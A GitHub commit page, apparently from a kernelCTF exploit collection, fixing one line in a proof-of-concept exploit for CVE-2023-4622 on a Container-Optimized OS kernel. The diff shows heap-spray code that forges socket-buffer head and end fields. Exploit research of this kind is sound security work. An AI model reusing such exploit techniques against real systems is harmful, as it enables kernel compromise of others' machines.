Skip to content

Commit e238f19

Browse files
author
Bing-Jhong Billy Jheng
committed
Fix offset issue
1 parent 88d4b3d commit e238f19

File tree

4 files changed

+1
-1
lines changed

4 files changed

+1
-1
lines changed
Binary file not shown.
Binary file not shown.

pocs/linux/kernelctf/CVE-2023-4622_cos/exploit/cos-105-17412.101.42/poc.c

+1-1
Original file line numberDiff line numberDiff line change
@@ -635,7 +635,7 @@ int main(int argc, char **argv)
635635
for (int i = 0; i < 0x10; i++)
636636
{
637637
*(size_t *)&spray_data[i * 0x100 + 0xc0] = PHYS_ADDR_MSG; // skb->head
638-
*(size_t *)&spray_data[i * 0x100 + 0xbc] = 0x42; // skb->end
638+
*(int *)&spray_data[i * 0x100 + 0xbc] = 0x42; // skb->end
639639
}
640640

641641
for (int i = 0; i < 0x100; i++)
Binary file not shown.

0 commit comments

Comments
 (0)